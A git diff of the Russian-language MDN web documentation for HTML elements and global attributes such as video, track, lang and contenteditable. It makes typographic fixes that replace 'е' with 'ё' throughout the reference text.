                    • diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html index 32c1165044..545f074d97 100644 --- a/files/ru/web/html/element/title/index.html +++ b/files/ru/web/html/element/title/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/title
                  - + @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/title - + - + @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/title

                  Заголовок страницы и SEO

                  -

                  Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приемом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.

                  +

                  Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приёмом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.

                  Несколько методических рекомендаций и советов для составления хороших заголовков:

                  @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/title

                  Важно указать такое значение title, которое описывает назначение страницы.

                  -

                  Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения ее содержимого может занять время и, возможно, привести к путанице.

                  +

                  Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения её содержимого может занять время и, возможно, привести к путанице.

                  Пример

                  diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index d9d7f801d6..f7d61a50c9 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/track
                • subtitles
                  • Субтитры обеспечивают перевод контента, который не может быть понят зрителем. Например, диалог или текст, который не является английским, в фильме на английском языке.
                    • -
                  • Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звездных войн» или дата, время и место действия сцены.
                    • +
                  • Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звёздных войн» или дата, время и место действия сцены.
                • captions @@ -109,7 +109,7 @@ translation_of: Web/HTML/Element/track

                  Типы данных дорожки

                  -

                  Тип данных, которые трек добавляет на носитель, задается в атрибуте kind, который может принимать значения subtitles, captions, descriptions, chapters или metadata. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.

                  +

                  Тип данных, которые трек добавляет на носитель, задаётся в атрибуте kind, который может принимать значения subtitles, captions, descriptions, chapters или metadata. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.

                  Отдельный media элемент не может иметь элементы track с одинаковыми значениями kind, srclang и label.

                  diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html index a5df007d21..5c37e3ed2f 100644 --- a/files/ru/web/html/element/u/index.html +++ b/files/ru/web/html/element/u/index.html @@ -1,5 +1,5 @@ --- -title: ': Элемент слабой аннотации (подчеркивание)' +title: ': Элемент слабой аннотации (подчёркивание)' slug: Web/HTML/Element/u translation_of: Web/HTML/Element/u --- diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html index ba4dfabd2f..9fb3ff9fb7 100644 --- a/files/ru/web/html/element/video/index.html +++ b/files/ru/web/html/element/video/index.html @@ -43,10 +43,10 @@ translation_of: Web/HTML/Element/video
                  {{htmlattrdef("autoplay")}}
                  -
                  Логический атрибут; если указан, то видео начнет воспроизводится автоматически, как только это будет возможно сделать без остановки, чтобы закончить загрузку данных.
                  +
                  Логический атрибут; если указан, то видео начнёт воспроизводится автоматически, как только это будет возможно сделать без остановки, чтобы закончить загрузку данных.
                  {{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}
                  -
                  Логический атрибут; если указано, видео автоматически начнет буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. -
                  Примечание: несмотря на то, что в ранних версиях HTML5 атрибут autobuffer присутствовал, в последующих выпусках он был удален. Также он был удален из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут preload, вместо autobuffer с другим синтаксисом. {{bug(548523)}}
                  +
                  Логический атрибут; если указано, видео автоматически начнёт буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. +
                  Примечание: несмотря на то, что в ранних версиях HTML5 атрибут autobuffer присутствовал, в последующих выпусках он был удалён. Также он был удалён из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут preload, вместо autobuffer с другим синтаксисом. {{bug(548523)}}
                  {{htmlattrdef("buffered")}}
                  Атрибут для определения временных диапазонов буферизованных носителей. Этот атрибут содержит объект {{domxref("TimeRanges")}}.
                  @@ -64,13 +64,13 @@ translation_of: Web/HTML/Element/video
                  {{htmlattrdef("height")}}
                  Высота области отображения видео в пикселях.
                  {{htmlattrdef("loop")}}
                  -
                  Логический атрибут; если указан, то по окончанию проигрывания, видео автоматически начнет воспроизведение с начала.
                  +
                  Логический атрибут; если указан, то по окончанию проигрывания, видео автоматически начнёт воспроизведение с начала.
                  {{htmlattrdef("muted")}}
                  Логический атрибут, который определяет значение по умолчания для аудио дорожки, содержащуюся в видео. Если атрибут указан, то аудио дорожка воспроизводиться не будет. Значение атрибута по умолчанию - "ложь", и это означает, что звук будет воспроизводиться, когда видео воспроизводится.
                  {{htmlattrdef("played")}}
                  Атрибут {{domxref("TimeRanges")}}, указывающий все диапазоны воспроизводимого видео.
                  {{htmlattrdef("preload")}}
                  -
                  Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведет к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: +
                  Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведёт к лучшему пользовательскому опыту. Он может иметь одно из следующих значений:
                  • none: указывает, что видео не должно быть предварительно загружено.
                  • metadata: указывает, что предварительно загружаются метаданные видео (например, длина).
                    • @@ -89,7 +89,7 @@ translation_of: Web/HTML/Element/video
                  {{htmlattrdef("poster")}}
                  -
                  URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмет на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.
                  +
                  URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмёт на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.
                  {{htmlattrdef("src")}}
                  The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.
                  {{htmlattrdef("width")}}
                  diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 85e6e5c732..353b10ecdd 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/wbr
                  • - + @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/wbr - + - + @@ -46,11 +46,11 @@ translation_of: Web/HTML/Element/wbr

                  Заметки

                  -

                  На страницах в кодировке UTF-8, элемент <wbr> ведет себя как кодовое значение U+200B ZERO-WIDTH SPACE (пробел нулевой ширины). В частности, он ведет себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <div dir=rtl>123,<wbr>456</div>: отображается, если выражение не разбито на две строки, 123 456 и не 456,123.

                  +

                  На страницах в кодировке UTF-8, элемент <wbr> ведёт себя как кодовое значение U+200B ZERO-WIDTH SPACE (пробел нулевой ширины). В частности, он ведёт себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <div dir=rtl>123,<wbr>456</div>: отображается, если выражение не разбито на две строки, 123 456 и не 456,123.

                  По той же причине, элемент <wbr> не вводит дефис в точке разрыва строки. Чтобы дефис отображался только в конце строки, используйте вместо него символ «мягкого дефиса» (&shy;).

                  -

                  Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определен в HTML5.

                  +

                  Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определён в HTML5.

                  Пример

                  diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html index 3f1ef4a77e..9d5e443f85 100644 --- a/files/ru/web/html/global_attributes/accesskey/index.html +++ b/files/ru/web/html/global_attributes/accesskey/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Global_attributes/accesskey ---
                  {{HTMLSidebar("Global_attributes")}}
                  -

                  Глобальный атрибут accesskey дает возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).

                  +

                  Глобальный атрибут accesskey даёт возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).

                  {{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}
                  diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html index 08824dc4c9..06d41bd334 100644 --- a/files/ru/web/html/global_attributes/class/index.html +++ b/files/ru/web/html/global_attributes/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/class ---
                  {{HTMLSidebar("Global_attributes")}}
                  -

                  Глобальный атрибут class это разделенный пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью селекторов класса или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.

                  +

                  Глобальный атрибут class это разделённый пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью селекторов класса или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.

                  {{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}
                  diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html index 638ea9c94a..a374c5d132 100644 --- a/files/ru/web/html/global_attributes/contenteditable/index.html +++ b/files/ru/web/html/global_attributes/contenteditable/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Global_attributes/contenteditable

                  Если атрибут не указан, то его значение наследуется от своего родительского элемента.

                  -

                  Этот атрибут принимает одно из определенных значений и не является булевским. Это значит, что точное использование одного из значений true, false или пустая строка обязательно и такое сокращение, как <label contenteditable>Пример метки</label> неразрешено. Верное использование — <label contenteditable="true">Пример метки</label>. 

                  +

                  Этот атрибут принимает одно из определённых значений и не является булевским. Это значит, что точное использование одного из значений true, false или пустая строка обязательно и такое сокращение, как <label contenteditable>Пример метки</label> неразрешено. Верное использование — <label contenteditable="true">Пример метки</label>. 

                  Вы можете установить цвет, используемый для вставки текста {{Glossary("caret")}}
                  со свойством CSS {{cssxref("caret-color")}}.  

                  diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html index df80ab58ae..3cbc4c9a60 100644 --- a/files/ru/web/html/global_attributes/data-_star_/index.html +++ b/files/ru/web/html/global_attributes/data-_star_/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Global_attributes/data-*

                  Все такие пользовательские данные доступны через интерфейс {{domxref ("HTMLElement")}} элемента, для которого установлен атрибут. Свойство {{domxref ("HTMLElement.dataset")}} предоставляет к ним доступ.
                  - Символ * может быть заменен любым именем, соответствующим производственному правилу имен xml, со следующими ограничениями:

                  + Символ * может быть заменён любым именем, соответствующим производственному правилу имён xml, со следующими ограничениями:

                  • имя не должно начинаться с xml, в любом случае для этих букв используется регистр;
                    • diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html index 11ec8acfa3..989ac64818 100644 --- a/files/ru/web/html/global_attributes/id/index.html +++ b/files/ru/web/html/global_attributes/id/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Global_attributes/id
                  - + diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html index 39e0fe294b..c662d66d36 100644 --- a/files/ru/web/html/global_attributes/index.html +++ b/files/ru/web/html/global_attributes/index.html @@ -23,9 +23,9 @@ translation_of: Web/HTML/Global_attributes
                  accesskey
                  -
                  Дает подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделенных пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.
                  +
                  Даёт подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделённых пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.
                  class
                  -
                  Это список разделенных пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через селекторы по классу или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.
                  +
                  Это список разделённых пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через селекторы по классу или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.
                  contenteditable
                  Это перечислимый атрибут, указывающий, нужно ли предоставить пользователю возможность редактировать элемент. Если это так, браузер изменит свой виджет таким образом, чтобы позволить редактирование. Атрибут должен принимать одно из следующих значений:
                    @@ -42,7 +42,7 @@ translation_of: Web/HTML/Global_attributes
                    • ltr, что расшифровывается как left to right (слева направо), и предназначено для языков, в которых пишут слева направо (как в русском);
                    • rtl, что расшифровывается как right to left (справа налево), и предназначено для языков, в которых пишут справа налево (как в арабском);
                      • -
                    • auto — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдет символ со строгим направлением, а затем применяет это направление ко всему элементу.
                      • +
                    • auto — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдёт символ со строгим направлением, а затем применяет это направление ко всему элементу.
                  draggable {{experimental_inline}}
                  @@ -56,12 +56,12 @@ translation_of: Web/HTML/Global_attributes
                  Это перечислимый атрибут, указывающий типы содержимого, которое можно перетащить в элемент с помощью Drag and Drop API. Он может принимать одно из следующих значений:
                  • copy, указывающее, что перетаскивание создаст копию перетаскиваемого элемента;
                    • -
                  • move, указывающее, что перетаскиваемый элемент будет перемещен в новое расположение;
                    • +
                  • move, указывающее, что перетаскиваемый элемент будет перемещён в новое расположение;
                  • link — создаст ссылку на перетаскиваемые данные.
                  hidden
                  -
                  Это логический атрибут, указывающий, что элемент уже (или еще) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.
                  +
                  Это логический атрибут, указывающий, что элемент уже (или ещё) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.
                  id
                  Определяет идентификатор (ID), который должен быть уникален для всего документа. Он предназначен для идентификации элемента при создании ссылок на него, исполнении скриптов или применении стилей (посредством CSS).
                  itemid {{experimental_inline}}
                  @@ -71,7 +71,7 @@ translation_of: Web/HTML/Global_attributes
                  itemtype {{experimental_inline}}
                  Эти атрибуты относятся к определению микроданных.
                  lang
                  -
                  Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определенном в документе IETF BCP47. xml:lang имеет приоритет над ним.
                  +
                  Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определённом в документе IETF BCP47. xml:lang имеет приоритет над ним.
                  spellcheck {{experimental_inline}}
                  Это перечислимый атрибут, определяющий, может ли содержимое элемента быть проверено на наличие орфографических ошибок. Он может принимать одно из следующих значений:
                    @@ -94,7 +94,7 @@ translation_of: Web/HTML/Global_attributes
                    translate
                    Это перечислимый атрибут, используемый для того, чтобы указать, следует ли переводить значения атрибутов элемента и его текстовое содержимое (содержимое узла {{domxref("Text")}}) при локализации страницы. Этот атрибут может принимать следующие значения:
                      -
                    • пустая строка или "yes" указывает, что элемент должен быть переведен;
                      • +
                    • пустая строка или "yes" указывает, что элемент должен быть переведён;
                    • "no" указывает, что элемент не должен быть переведен.
                    diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html index 14b98a01bc..8f6bd811ec 100644 --- a/files/ru/web/html/global_attributes/inputmode/index.html +++ b/files/ru/web/html/global_attributes/inputmode/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Global_attributes/inputmode
                    numeric
                    Числовая раскладка клавиатуры; числа от 0 до 9. Устройства могут показывать или нет символ минуса (отрицательное значение).
                    tel
                    -
                    Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решетку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <input type="tel">.
                    +
                    Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решётку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <input type="tel">.
                    search
                    Виртуальная клавиатура, оптимизированная для работы с поиском. Например, кнопка ввода может быть заменена на "Поиск", и др.
                    email
                    diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html index a80c1772d1..c62892e64c 100644 --- a/files/ru/web/html/global_attributes/is/index.html +++ b/files/ru/web/html/global_attributes/is/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/is ---
                    {{HTMLSidebar("Global_attributes")}}
                    -

                    Глобальный атрибут  is позволяет указать, что стандартный HTML-элемент должен вести себя как определенный пользовательский встроенный элемент (см Using custom elements для информации).

                    +

                    Глобальный атрибут  is позволяет указать, что стандартный HTML-элемент должен вести себя как определённый пользовательский встроенный элемент (см Using custom elements для информации).

                    Этот атрибут может быть использован только, если указанное имя пользовательского элемента было успешно определено в текущем документе и расширяет тип элемента, к которому оно применяется.

                    diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html index 2ccedf5e04..13a25e31f6 100644 --- a/files/ru/web/html/global_attributes/lang/index.html +++ b/files/ru/web/html/global_attributes/lang/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTML/Global_attributes/lang ---
                    {{HTMLSidebar("Global_attributes")}}
                    -

                    Глобальный атрибут lang помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (language tag) в формате, определенном в Tags for Identifying Languages (BCP47).

                    +

                    Глобальный атрибут lang помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (language tag) в формате, определённом в Tags for Identifying Languages (BCP47).

                    {{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}
                    @@ -20,15 +20,15 @@ translation_of: Web/HTML/Global_attributes/lang

                    Подробный синтаксис BCP47 достаточно подробен, чтобы отмечать специфичные языковые диалекты, но в большинстве случаев его использование намного проще. 

                    -

                    Языковой тег состоит из языковых вложенных тегов, разделенных дефисом, где каждый вложенный тег указывает на определенное свойство языка. 3 наиболее распространенных вложенных тега:

                    +

                    Языковой тег состоит из языковых вложенных тегов, разделённых дефисом, где каждый вложенный тег указывает на определённое свойство языка. 3 наиболее распространённых вложенных тега:

                    Языковой подтег
                    -
                    Обязателен. Двух-или-трех-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является en, а для Бадеши — bdz. 
                    +
                    Обязателен. Двух-или-трёх-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является en, а для Бадеши — bdz. 
                    Подтег скрипта
                    Необязателен. Данный подтег определяет систему записи, и всегда состоящий из 4 символов с первой заглавной буквой. К примеру,  французский язык Брайля — это fr-Brai, а ja-Kana — это японский язык, написанный с использованием алфавита Катакана (Katakana). Если язык написан типичным способом, например, английский с латинским алфавитом, нет необходимости использовать данный подтег.
                    Подтег региона
                    -
                    Необязателен. Данный подтег определяет диалект основного языка из определенного места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трех цифр, соответствующих региону, который не относится к стране. К примеру, es-ES — это испанский язык, на котором разговаривают в Испании, а es-013 означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто es.
                    +
                    Необязателен. Данный подтег определяет диалект основного языка из определённого места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трёх цифр, соответствующих региону, который не относится к стране. К примеру, es-ES — это испанский язык, на котором разговаривают в Испании, а es-013 означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто es.

                    Подтег скрипта предшествует подтегу региона, если присутствуют оба тега — ru-Cyrl-BY — это русский язык, написанный кириллицей, на котором разговаривают в Беларуси. 

                    diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html index 6c7cd93452..c5e2c55066 100644 --- a/files/ru/web/html/index.html +++ b/files/ru/web/html/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML

                    HTML использует разметку ("markup") для отображения текста, изображений и другого контента в веб-браузере. HTML-разметка включает в себя специальные "элементы", такие как {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} и многие другие.

                    -

                    HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окруженного "<" и ">". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <title> может быть записан как <Title>, <TITLE>, или любым другим способом.

                    +

                    HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окружённого "<" и ">". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <title> может быть записан как <Title>, <TITLE>, или любым другим способом.

                    Статьи, представленные ниже, могут помочь вам больше узнать о HTML.

                    @@ -35,7 +35,7 @@ translation_of: Web/HTML

                    Статьи о том, как использовать HTML, а также обучающие материалы и исчерпывающие примеры можно найти в разделе "Пространство изучения HTML".

                  • Справка по HTML -

                    В нашем обширном разделе "Справка по HTML" вы найдете подробности о каждом элементе и атрибуте в HTML.

                    +

                    В нашем обширном разделе "Справка по HTML" вы найдёте подробности о каждом элементе и атрибуте в HTML.

                  @@ -54,21 +54,21 @@ translation_of: Web/HTML
                  Представление табличных данных на веб-странице в понятной, доступной форме может быть проблемой. Этот модуль охватывает базовую разметку таблиц, а также более сложные особенности, такие как добавление заголовков и описаний.
                  HTML-формы
                  Формы являются очень важной частью Веба — они предоставляют большую часть функционала, необходимого для взаимодействия с веб-сайтами, например регистрация и вход в систему, отправка отзывов, покупка товаров, и многое другое. Этот модуль познакомит вас с созданием клиентских (client-side/front-end) частей форм.
                  -
                  Используйте HTML для решения распространенных задач.
                  -
                  Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространенных задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.
                  +
                  Используйте HTML для решения распространённых задач.
                  +
                  Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространённых задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.

                  Продвинутые темы

                  -
                  CORS: включенные изображения
                  -
                  Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определенные элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.
                  +
                  CORS: включённые изображения
                  +
                  Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определённые элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.
                  CORS: Настройки атрибутов
                  Некоторые HTML-элементы, предоставляющие поддержку CORS, такие как {{HTMLElement("img")}} или {{HTMLElement("video")}}, имеют атрибут crossorigin (свойство crossOrigin), который позволяет вам настраивать CORS-запросы для получаемых элементом данных.
                  Управление фокусом в HTML
                  DOM-Атрибут activeElement и DOM-метод hasFocus() помогают отслеживать и контролировать взаимодействие пользователя с элементами на веб-странице.
                  Предварительная загрузка контента с помощью rel="preload"
                  -
                  Значение preload атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные fetch-запросы в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведет к улучшению производительности. В этой статье приведено начальное руководство по работе с preload (предзагрузкой).
                  +
                  Значение preload атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные fetch-запросы в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведёт к улучшению производительности. В этой статье приведено начальное руководство по работе с preload (предзагрузкой).
                  @@ -77,7 +77,7 @@ translation_of: Web/HTML
                  Справка по HTML
                  -
                  HTML состоит из элементов, каждый из которых может быть изменен некоторым количеством атрибутов. HTML-документы связаны между собой ссылками.
                  +
                  HTML состоит из элементов, каждый из которых может быть изменён некоторым количеством атрибутов. HTML-документы связаны между собой ссылками.
                  Справка по HTML-элементам
                  Просмотр списка всех {{glossary("Element", "элементов")}} {{glossary("HTML")}}.
                  Справка по HTML-атрибутам
                  @@ -91,7 +91,7 @@ translation_of: Web/HTML
                  Поддержка медиа-форматов с помощью HTML-элементов audio и video
                  Элементы {{HTMLElement("audio")}} и {{HTMLElement("video")}} позволяют вам воспроизводить аудио и видео. Эти элементы предоставляют браузерную альтернативу аналогичным возможностям, которые есть в Adobe Flash и других плагинах.
                  Виды HTML-контента
                  -
                  HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определенных контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.
                  +
                  HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определённых контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.
                  Режим совместимости и стандартный режим
                  Историческая справка по режиму совместимости и стандартному режиму.
                  diff --git a/files/ru/web/html/inline_elements/index.html b/files/ru/web/html/inline_elements/index.html index 86db377c64..5fa033a73e 100644 --- a/files/ru/web/html/inline_elements/index.html +++ b/files/ru/web/html/inline_elements/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTML/Строчные_Элементы

                  HTML

                  -
                  <p>Этот элемент <span>span</span> строчный; цвет его фона изменен, чтобы показать начало и конец элемента.</p>
                  +
                  <p>Этот элемент <span>span</span> строчный; цвет его фона изменён, чтобы показать начало и конец элемента.</p>

                  CSS

                  diff --git a/files/ru/web/html/using_the_application_cache/index.html b/files/ru/web/html/using_the_application_cache/index.html index 2ed99d36b9..89a4a71d52 100644 --- a/files/ru/web/html/using_the_application_cache/index.html +++ b/files/ru/web/html/using_the_application_cache/index.html @@ -35,11 +35,11 @@ original_slug: Web/HTML/Использование_кэширования_при

                  Ниже приведено более подробное описание процесса загрузки документов и обновления кэша приложения:

                    -
                  1. Когда браузер посещает страницу со включенным атрибутом manifest и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.
                    2. +
                  2. Когда браузер посещает страницу со включённым атрибутом manifest и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.
